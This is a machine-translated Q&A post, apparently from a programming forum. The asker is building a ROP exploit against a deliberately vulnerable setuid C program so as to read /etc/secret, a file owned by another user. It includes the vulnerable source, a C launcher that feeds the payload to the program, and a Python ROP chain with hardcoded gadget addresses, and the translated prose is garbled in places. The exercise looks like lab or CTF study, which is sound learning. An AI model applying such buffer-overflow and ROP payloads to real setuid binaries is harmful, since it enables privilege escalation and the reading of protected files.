C语言 fork() 中的文件描述符,当孩子在设置了 setuid 位的情况下执行 execve



有了这个程序,它会打开一个文件描述符,指向/etc/secret,该描述符归用户 A 所有,并设置为仅由用户 A 读取。

-r-------- 1 个用户一个用户一个秘密

该程序通过 execve 分叉一个孩子,execve 是一个二进制文件,其中 setuid 位设置为 userA

-

r-sr-x--- 1 userA userB prog

程序具有缓冲区溢出。堆栈不可执行。我设法编写了一个调用 read() 的 ROP 链。为了阅读,我需要一个描述符参数,我希望它是/etc/secret 的描述符。

是否可以修改打开/etc/secret 描述符?从现在开始,我被拒绝了权限,这是有道理的,因为我将其称为userB。子级运行一个设置了setuid位(userA)的程序,所以也许有一种方法可以在子执行阶段调用open?有什么想法吗?

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int main(void)
{
    pid_t pid;
    int fd;
    int fd1;
    fd1 = open("/etc/secret",O_RDONLY); //file I want to read
    if (fd1 < 0) {
        perror("open");
        return EXIT_FAILURE;
    }
    printf("FD:%dn",fd1);


    fd = open("in.txt", O_RDONLY); //ROP Chain,Payload that makes read()
    if (fd < 0) {                  //I pass the file descriptor as a parameter
                                   //Normally a integer 3
        perror("open");
        return EXIT_FAILURE;
    }
    if ((pid = fork()) < 0) {
        perror("fork");
        return EXIT_FAILURE;
    } else if (! pid) { /* child */
        dup2(fd, STDIN_FILENO);
        close(fd);

        execlp("/opt/prog", "prog", (char *)0);
        perror("exec");
        return EXIT_FAILURE;
    } else { /* parent */
        printf("Parent waitingn");
    }
    return EXIT_SUCCESS;
}

更新 1:

程序源代码:

#include <stdio.h>
void main(){
    int buf[8];
    read(0, buf, 256);
}

更新 2:

罗普链条

#!/usr/bin/env python
import struct
payload  = "A" * 24
payload += struct.pack("<Q", 0x00000000004005b6)

payload += "A" * 8
payload += struct.pack("<Q", 0x0)        
payload += struct.pack("<Q", 0x1)        
payload += struct.pack("<Q", 0x00000000006006c8) 
payload += struct.pack("<Q", 0x3)                 # Value for RDI register
payload += struct.pack("<Q", 0x0000000000600009)  # Value for RSI register
payload += struct.pack("<Q", 0x8)                 # Value for RDX register
payload += struct.pack("<Q", 0x00000000004005a0)

payload += "E"*56
payload += struct.pack("<Q", 0x00000000004003e0)
f = open("in.txt", "w")
f.write(payload)

更新 3

/

etc/secret 归用户 A 所有,并设置为仅由用户 A 读取,我以用户 B 身份运行该程序:

测试.c

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int main(void)
{
    pid_t pid;
    int fd;
    int fd1;
    fd1 = open("/etc/secret",O_RDONLY); //file I want to read
    if (fd1 < 0) {
        perror("open");
        return EXIT_FAILURE;
    }
    printf("FD:%dn",fd1);
}

输出为:

。/测试打开:权限被拒绝

所以我想没有办法绕过它,open() 在返回描述符之前检查文件的权限?

好吧,你需要关闭父级的管道,不是吗。为什么不在子进程中打开文件。

最新更新